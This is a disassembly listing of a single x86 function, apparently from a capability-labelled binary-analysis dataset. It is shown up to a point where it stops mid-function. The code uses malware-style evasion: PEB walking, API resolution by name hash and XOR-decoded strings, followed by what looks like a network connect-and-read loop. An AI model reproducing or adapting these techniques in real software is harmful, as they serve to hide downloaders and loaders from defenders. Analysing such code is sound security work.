Function at 0x10003a36
Capabilities:
Access peb ldr_data
Encode data using xor
Get process heap flags

Disassembly:
push ebp
lea ebp, [esp - 0x7f0]
sub esp, 0x7f0
push 0xffffffffffffffff
push 0x1002f987
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x1003f144]
xor eax, ebp
mov dword [ebp + 0x7ec], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
push 0xffffffffffffff97
pop ecx
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov esi, dword [eax + 0x10]
mov eax, ebx
mov dword [ebp - 0x3c], esi
mov byte [ebp - 0x64], cl
mov dword [ebp - 0x60], 0xc
mov dword [ebp - 0x5c], 0xded9dec0
mov dword [ebp - 0x58], 0xb9c3d2d9
mov word [ebp - 0x54], 0xfbf3
mov byte [ebp - 0x52], 0xfb
mov byte [ebp - 0x51], cl
xor byte [ebp + eax - 0x5c], cl
inc eax
cmp eax, dword [ebp - 0x60]
jae 0x10003ad1
mov cl, byte [ebp - 0x64]
jmp 0x10003ac2
movaps xmm0, xmmword [0x10039370]
mov eax, 0x4e732b34
mov edi, 0x61b764d0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 5
mov ecx, ebx
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], edi
xor dword [ebp + ecx*4 - 0x20], eax
inc ecx
cmp ecx, dword [ebp - 0x28]
jae 0x10003b07
mov eax, dword [ebp - 0x2c]
jmp 0x10003af8
mov eax, dword [ebp - 0x24]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5ce65611
mov edx, dword [eax + esi]
mov eax, 0x5ce65669
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], edi
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x10003b3e
mov eax, dword [ebp - 0x20]
jmp 0x10003b2f
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edx
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x6b5981be
mov dword [ebp - 0x14], 0x702a9005
mov edx, dword [eax + esi]
mov eax, 0x6b59819e
add edx, esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x10], 0x74fb9e6c
xor dword [ebp + ecx*4 - 0x18], eax
inc ecx
cmp ecx, dword [ebp - 0x20]
jae 0x10003b87
mov eax, dword [ebp - 0x24]
jmp 0x10003b78
mov eax, dword [ebp - 0x1c]
mov ecx, ebx
movaps xmm0, xmmword [0x10039350]
mov eax, dword [ebp + eax*4 - 0x18]
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], ebx
movups xmmword [ebp - 0x1c], xmm0
mov eax, dword [eax + edx]
add eax, esi
mov dword [ebp - 0x38], eax
mov eax, 0x79ccacd3
mov dword [ebp - 0x28], eax
xor dword [ebp + ecx*4 - 0x1c], eax
inc ecx
cmp ecx, dword [ebp - 0x24]
jae 0x10003bc4
mov eax, dword [ebp - 0x28]
jmp 0x10003bb5
mov eax, dword [ebp - 0x20]
mov ecx, ebx
movaps xmm0, xmmword [0x10039360]
mov eax, dword [ebp + eax*4 - 0x1c]
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov edi, dword [eax + edx]
mov edx, 0x483fd807
add edi, esi
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + ecx*4 - 0x20], edx
inc ecx
cmp ecx, dword [ebp - 0x28]
jae 0x10003c08
mov edx, dword [ebp - 0x2c]
jmp 0x10003bf9
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x20]
mov eax, dword [eax + ecx]
add eax, esi
cmp dword [ebp - 0x38], 0
mov dword [ebp - 0x40], eax
je 0x10003cdf
test edi, edi
je 0x10003cdf
test eax, eax
je 0x10003cdf
mov edi, ebx
mov edx, 0x56b3033c
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], edx
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x56b30324
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x10003c67
mov edx, dword [ebp - 0x20]
jmp 0x10003c58
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edi, dword [eax + ecx]
jae 0x10003cdf
mov eax, dword [ebp - 0x38]
mov edx, dword [eax + edi*4]
add edx, esi
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003c86
sub ecx, dword [ebp - 0x30]
push 0x1d
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
pop eax
mov dword [ebp - 0x50], eax
jbe 0x10003cc8
mov ebx, dword [ebp - 0x30]
mov esi, eax
movsx eax, byte [ecx + edx]
xor eax, esi
imul esi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10003ca9
mov dword [ebp - 0x50], esi
xor ebx, ebx
cmp dword [ebp - 0x50], 0xeb4619fd
mov esi, dword [ebp - 0x3c]
je 0x10003cce
inc edi
jmp 0x10003c36
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x44]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x10003ce1
mov eax, ebx
lea ecx, [ebp - 0x5c]
push ecx
call eax
push 0xffffffffffffffe2
mov esi, eax
mov dword [ebp - 0x60], 0xc
pop ecx
mov dword [ebp - 0x38], esi
mov eax, ebx
mov byte [ebp - 0x64], cl
mov dword [ebp - 0x5c], 0x8b988daf
mov dword [ebp - 0x58], 0xcd838e8e
mov word [ebp - 0x54], 0xccd7
mov byte [ebp - 0x52], 0xd2
mov byte [ebp - 0x51], cl
xor byte [ebp + eax - 0x5c], cl
inc eax
cmp eax, dword [ebp - 0x60]
jae 0x10003d25
mov cl, byte [ebp - 0x64]
jmp 0x10003d16
movaps xmm0, xmmword [0x10039370]
mov edx, 0x4e732b34
mov dword [ebp - 0x2c], edx
mov ecx, ebx
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0x61b764d0
xor dword [ebp + ecx*4 - 0x20], edx
inc ecx
cmp ecx, dword [ebp - 0x28]
jae 0x10003d5a
mov edx, dword [ebp - 0x2c]
jmp 0x10003d4b
mov eax, dword [ebp - 0x24]
mov edx, 0x5ce65669
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edi, dword [eax + esi]
mov dword [ebp - 0x14], 0x5ce65611
mov dword [ebp - 0x10], 0x61b764d0
xor dword [ebp + ecx*4 - 0x14], edx
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x10003d95
mov edx, dword [ebp - 0x20]
jmp 0x10003d86
mov eax, dword [ebp - 0x18]
mov edx, 0x6b59819e
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x6b5981be
mov edi, dword [eax + esi]
add edi, esi
mov dword [ebp - 0x14], 0x702a9005
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x10], 0x74fb9e6c
xor dword [ebp + ecx*4 - 0x18], edx
inc ecx
cmp ecx, dword [ebp - 0x20]
jae 0x10003dde
mov edx, dword [ebp - 0x24]
jmp 0x10003dcf
mov eax, dword [ebp - 0x1c]
mov edx, 0x79ccacd3
movaps xmm0, xmmword [0x10039350]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x18]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], ebx
mov edi, dword [eax + edi]
add edi, esi
mov dword [ebp - 0x40], edi
movups xmmword [ebp - 0x1c], xmm0
xor dword [ebp + ecx*4 - 0x1c], edx
inc ecx
cmp ecx, dword [ebp - 0x24]
jae 0x10003e1b
mov edx, dword [ebp - 0x28]
jmp 0x10003e0c
mov eax, dword [ebp - 0x20]
mov ecx, ebx
mov edx, dword [ebp - 0x50]
movaps xmm0, xmmword [0x10039360]
mov eax, dword [ebp + eax*4 - 0x1c]
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov edx, dword [eax + edx]
mov eax, 0x483fd807
add edx, esi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + ecx*4 - 0x20], eax
inc ecx
cmp ecx, dword [ebp - 0x28]
jae 0x10003e62
mov eax, dword [ebp - 0x2c]
jmp 0x10003e53
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x20]
mov eax, dword [eax + ecx]
add eax, esi
mov dword [ebp - 0x3c], eax
test edi, edi
je 0x10003f2b
test edx, edx
je 0x10003f2b
test eax, eax
je 0x10003f2b
mov edx, ebx
mov eax, 0x56b3033c
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], eax
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x56b30324
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x10003ebf
mov eax, dword [ebp - 0x20]
jmp 0x10003eb0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [eax + ecx]
jae 0x10003f28
mov esi, dword [edi + edx*4]
add esi, dword [ebp - 0x38]
mov ecx, esi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003ed9
sub ecx, edi
push 0x1d
pop edi
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x44], eax
test eax, eax
je 0x10003f0b
mov ebx, eax
movsx eax, byte [ecx + esi]
xor eax, edi
imul edi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10003ef3
xor ebx, ebx
cmp edi, 0xdc57540f
je 0x10003f14
mov edi, dword [ebp - 0x40]
inc edx
jmp 0x10003e8e
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x38]
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x10003f2d
mov esi, dword [ebp - 0x38]
mov eax, ebx
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp - 0x5c]
push ecx
call eax
mov dword [ebp - 0x50], eax
test eax, eax
jne 0x10003f5f
mov ecx, dword [ebp - 0x68]
push 0x10038ea1
call fcn.10009fe0
lea ecx, [ebp + 0x7f8]
call fcn.1000aac0
mov eax, dword [ebp - 0x68]
jmp 0x10004e7c
cmp dword [ebp + 0x80c], 0x10
lea eax, [ebp + 0x7f8]
movaps xmm0, xmmword [0x10039370]
mov edi, 0x61b764d0
cmovae eax, dword [ebp + 0x7f8]
mov ecx, ebx
mov dword [ebp - 0x48], eax
mov eax, 0x4e732b34
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], edi
xor dword [ebp + ecx*4 - 0x20], eax
inc ecx
cmp ecx, dword [ebp - 0x28]
jae 0x10003fac
mov eax, dword [ebp - 0x2c]
jmp 0x10003f9d
mov eax, dword [ebp - 0x24]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x5ce65611
mov edx, dword [eax + esi]
mov eax, 0x5ce65669
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], edi
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x10003fe3
mov eax, dword [ebp - 0x20]
jmp 0x10003fd4
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edx
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x6b5981be
mov dword [ebp - 0x14], 0x702a9005
mov edx, dword [eax + esi]
mov eax, 0x6b59819e
add edx, esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x10], 0x74fb9e6c
xor dword [ebp + ecx*4 - 0x18], eax
inc ecx
cmp ecx, dword [ebp - 0x20]
jae 0x1000402c
mov eax, dword [ebp - 0x24]
jmp 0x1000401d
mov eax, dword [ebp - 0x1c]
mov ecx, ebx
movaps xmm0, xmmword [0x10039350]
mov eax, dword [ebp + eax*4 - 0x18]
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], ebx
movups xmmword [ebp - 0x1c], xmm0
mov edi, dword [eax + edx]
mov eax, 0x79ccacd3
add edi, esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], edi
xor dword [ebp + ecx*4 - 0x1c], eax
inc ecx
cmp ecx, dword [ebp - 0x24]
jae 0x10004069
mov eax, dword [ebp - 0x28]
jmp 0x1000405a
mov eax, dword [ebp - 0x20]
mov ecx, ebx
movaps xmm0, xmmword [0x10039360]
mov eax, dword [ebp + eax*4 - 0x1c]
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov edx, dword [eax + edx]
mov eax, 0x483fd807
add edx, esi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + ecx*4 - 0x20], eax
inc ecx
cmp ecx, dword [ebp - 0x28]
jae 0x100040ad
mov eax, dword [ebp - 0x2c]
jmp 0x1000409e
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x20]
mov eax, dword [eax + ecx]
add eax, esi
mov dword [ebp - 0x34], eax
test edi, edi
je 0x10004178
test edx, edx
je 0x10004178
test eax, eax
je 0x10004178
mov edx, ebx
mov eax, 0x56b3033c
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], eax
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x56b30324
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + ecx*4 - 0x14], eax
inc ecx
cmp ecx, dword [ebp - 0x1c]
jae 0x1000410a
mov eax, dword [ebp - 0x20]
jmp 0x100040fb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [eax + ecx]
jae 0x10004178
mov eax, dword [edi + edx*4]
add eax, esi
mov ecx, eax
mov dword [ebp - 0x44], eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004126
sub ecx, edi
push 0x1d
pop edi
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x40], eax
test eax, eax
je 0x1000415e
mov esi, dword [ebp - 0x44]
mov ebx, eax
movsx eax, byte [ecx + esi]
xor eax, edi
imul edi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10004143
mov esi, dword [ebp - 0x38]
xor ebx, ebx
cmp edi, 0x96a4fae0
je 0x10004167
mov edi, dword [ebp - 0x3c]
inc edx
jmp 0x100040d9
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x4c]
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x1000417a
mov eax, ebx
push ebx
push connect
push ebx
push ebx
push dword [ebp - 0x48]
push dword [ebp - 0x50]
call eax
mov dword [ebp - 0x34], eax
test eax, eax
jne 0x100043a6
movaps xmm0, xmmword [0x10039370]
mov ecx, 0x4e732b34
mov edi, 0x61b764d0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 5
mov eax, ebx
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x20], ecx
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x100041cb
mov ecx, dword [ebp - 0x2c]
jmp 0x100041bc
mov eax, dword [ebp - 0x24]
mov edx, 0x5ce65669
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov ecx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5ce65611
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x14], edx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004202
mov edx, dword [ebp - 0x20]
jmp 0x100041f3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
add eax, ecx
mov dword [ebp - 0x20], 3
mov ecx, 0x6b59819e
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], 0x6b5981be
mov edi, dword [eax + esi]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x14], 0x702a9005
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x10], 0x74fb9e6c
xor dword [ebp + eax*4 - 0x18], ecx
inc eax
cmp eax, dword [ebp - 0x20]
jae 0x1000424b
mov ecx, dword [ebp - 0x24]
jmp 0x1000423c
mov eax, dword [ebp - 0x1c]
mov ecx, 0x79ccacd3
movaps xmm0, xmmword [0x10039350]
mov eax, dword [ebp + eax*4 - 0x18]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], ebx
mov edx, dword [eax + edi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x48], edx
movups xmmword [ebp - 0x1c], xmm0
xor dword [ebp + eax*4 - 0x1c], ecx
inc eax
cmp eax, dword [ebp - 0x24]
jae 0x10004288
mov ecx, dword [ebp - 0x28]
jmp 0x10004279
mov eax, dword [ebp - 0x20]
movaps xmm0, xmmword [0x10039360]
mov eax, dword [ebp + eax*4 - 0x1c]
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov ecx, dword [eax + edi]
mov eax, ebx
add ecx, esi
mov dword [ebp - 0x10], 0x5b8411a3
mov esi, 0x483fd807
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x2c], esi
xor dword [ebp + eax*4 - 0x20], esi
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x100042cc
mov esi, dword [ebp - 0x2c]
jmp 0x100042bd
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x20]
mov esi, dword [eax + edi]
add esi, dword [ebp - 0x38]
mov dword [ebp - 0x44], esi
test edx, edx
je 0x1000439c
test ecx, ecx
je 0x1000439c
test esi, esi
je 0x1000439c
mov edx, ebx
mov ecx, 0x56b3033c
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x56b30324
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004327
mov ecx, dword [ebp - 0x20]
jmp 0x10004318
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [edi + eax]
jae 0x1000439c
mov eax, dword [ebp - 0x48]
mov edi, dword [eax + edx*4]
add edi, dword [ebp - 0x38]
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x4c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004344
sub ecx, dword [ebp - 0x4c]
push 0x1d
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
pop eax
mov dword [ebp - 0x34], eax
jbe 0x10004386
mov ebx, dword [ebp - 0x30]
mov esi, eax
movsx eax, byte [ecx + edi]
xor eax, esi
imul esi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10004367
mov dword [ebp - 0x34], esi
xor ebx, ebx
cmp dword [ebp - 0x34], 0x2b132ea
mov esi, dword [ebp - 0x44]
je 0x1000438f
mov edi, dword [ebp - 0x40]
inc edx
jmp 0x100042f6
movzx eax, word [esi + edx*2]
mov ebx, dword [ebp - 0x3c]
mov ebx, dword [ebx + eax*4]
add ebx, dword [ebp - 0x38]
push dword [ebp - 0x50]
call ebx
jmp 0x10003f3f
xor eax, eax
lea edi, [ebp]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], 0xf
mov byte [ebp], bl
mov byte [ebp - 4], 1
movaps xmm0, xmmword [0x10039370]
mov ecx, 0x4e732b34
mov edi, 0x61b764d0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 5
mov eax, ebx
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x20], ecx
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x100043f6
mov ecx, dword [ebp - 0x2c]
jmp 0x100043e7
mov eax, dword [ebp - 0x24]
mov ecx, 0x5ce65669
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5ce65611
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000442d
mov ecx, dword [ebp - 0x20]
jmp 0x1000441e
mov eax, dword [ebp - 0x18]
mov ecx, 0x6b59819e
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x6b5981be
mov edi, dword [eax + esi]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x14], 0x702a9005
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x10], 0x74fb9e6c
xor dword [ebp + eax*4 - 0x18], ecx
inc eax
cmp eax, dword [ebp - 0x20]
jae 0x10004476
mov ecx, dword [ebp - 0x24]
jmp 0x10004467
mov eax, dword [ebp - 0x1c]
mov ecx, 0x79ccacd3
movaps xmm0, xmmword [0x10039350]
mov eax, dword [ebp + eax*4 - 0x18]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], ebx
mov eax, dword [eax + edi]
add eax, esi
mov dword [ebp - 0x30], eax
mov eax, ebx
movups xmmword [ebp - 0x1c], xmm0
xor dword [ebp + eax*4 - 0x1c], ecx
inc eax
cmp eax, dword [ebp - 0x24]
jae 0x100044b3
mov ecx, dword [ebp - 0x28]
jmp 0x100044a4
mov eax, dword [ebp - 0x20]
mov ecx, 0x483fd807
movaps xmm0, xmmword [0x10039360]
mov eax, dword [ebp + eax*4 - 0x1c]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
mov edx, dword [eax + edi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x10], 0x5b8411a3
mov dword [ebp - 0x3c], edx
movups xmmword [ebp - 0x20], xmm0
xor dword [ebp + eax*4 - 0x20], ecx
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x100044f7
mov ecx, dword [ebp - 0x2c]
jmp 0x100044e8
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x20]
mov eax, dword [eax + edi]
add eax, esi
cmp dword [ebp - 0x30], 0
mov dword [ebp - 0x40], eax
je 0x100045c1
test edx, edx
je 0x100045c1
test eax, eax
je 0x100045c1
mov edx, ebx
mov ecx, 0x56b3033c
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x56b30324
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004553
mov ecx, dword [ebp - 0x20]
jmp 0x10004544
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [edi + eax]
jae 0x100045c1
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + edx*4]
add eax, esi
mov ecx, eax
mov dword [ebp - 0x48], eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000456f
sub ecx, edi
push 0x1d
pop edi
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x100045a7
mov esi, dword [ebp - 0x48]
mov ebx, eax
movsx eax, byte [ecx + esi]
xor eax, edi
imul edi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x1000458c
mov esi, dword [ebp - 0x38]
xor ebx, ebx
cmp edi, 0x9394cea2
je 0x100045b0
mov edi, dword [ebp - 0x44]
inc edx
jmp 0x10004522
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x100045c3
mov eax, ebx
lea ecx, [ebp + 0x18]
push ecx
push 0x7d0
lea ecx, [ebp + 0x1c]
push ecx
push dword [ebp - 0x34]
call eax
test al, al
je 0x10004a27
cmp dword [ebp + 0x18], 0
jbe 0x100045fc
push dword [ebp + 0x18]
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp]
call fcn.10009f1c
cmp dword [ebp + 0x18], 0
ja 0x100043c0
movaps xmm0, xmmword [0x10039370]
mov ecx, 0x4e732b34
mov edi, 0x61b764d0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 5
mov eax, ebx
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x20], ecx
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x10004632
mov ecx, dword [ebp - 0x2c]
jmp 0x10004623
mov eax, dword [ebp - 0x24]
mov ecx, 0x5ce65669
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5ce65611
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004669
mov ecx, dword [ebp - 0x20]
jmp 0x1000465a
mov eax, dword [ebp - 0x18]
mov ecx, 0x6b59819e
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x6b5981be
mov edx, dword [eax + esi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x14], 0x702a9005
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x10], 0x74fb9e6c
xor dword [ebp + eax*4 - 0x18], ecx
inc eax
cmp eax, dword [ebp - 0x20]
jae 0x100046b2
mov ecx, dword [ebp - 0x24]
jmp 0x100046a3
mov eax, dword [ebp - 0x1c]
mov ecx, 0x79ccacd3
movaps xmm0, xmmword [0x10039350]
mov eax, dword [ebp + eax*4 - 0x18]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], ebx
mov eax, dword [eax + edx]
add eax, esi
mov dword [ebp - 0x30], eax
mov eax, ebx
movups xmmword [ebp - 0x1c], xmm0
xor dword [ebp + eax*4 - 0x1c], ecx
inc eax
cmp eax, dword [ebp - 0x24]
jae 0x100046ef
mov ecx, dword [ebp - 0x28]
jmp 0x100046e0
mov eax, dword [ebp - 0x20]
mov ecx, 0x483fd807
movaps xmm0, xmmword [0x10039360]
mov eax, dword [ebp + eax*4 - 0x1c]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
mov edi, dword [eax + edx]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x10], 0x5b8411a3
mov dword [ebp - 0x3c], edi
movups xmmword [ebp - 0x20], xmm0
xor dword [ebp + eax*4 - 0x20], ecx
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x10004733
mov ecx, dword [ebp - 0x2c]
jmp 0x10004724
mov eax, dword [ebp - 0x24]
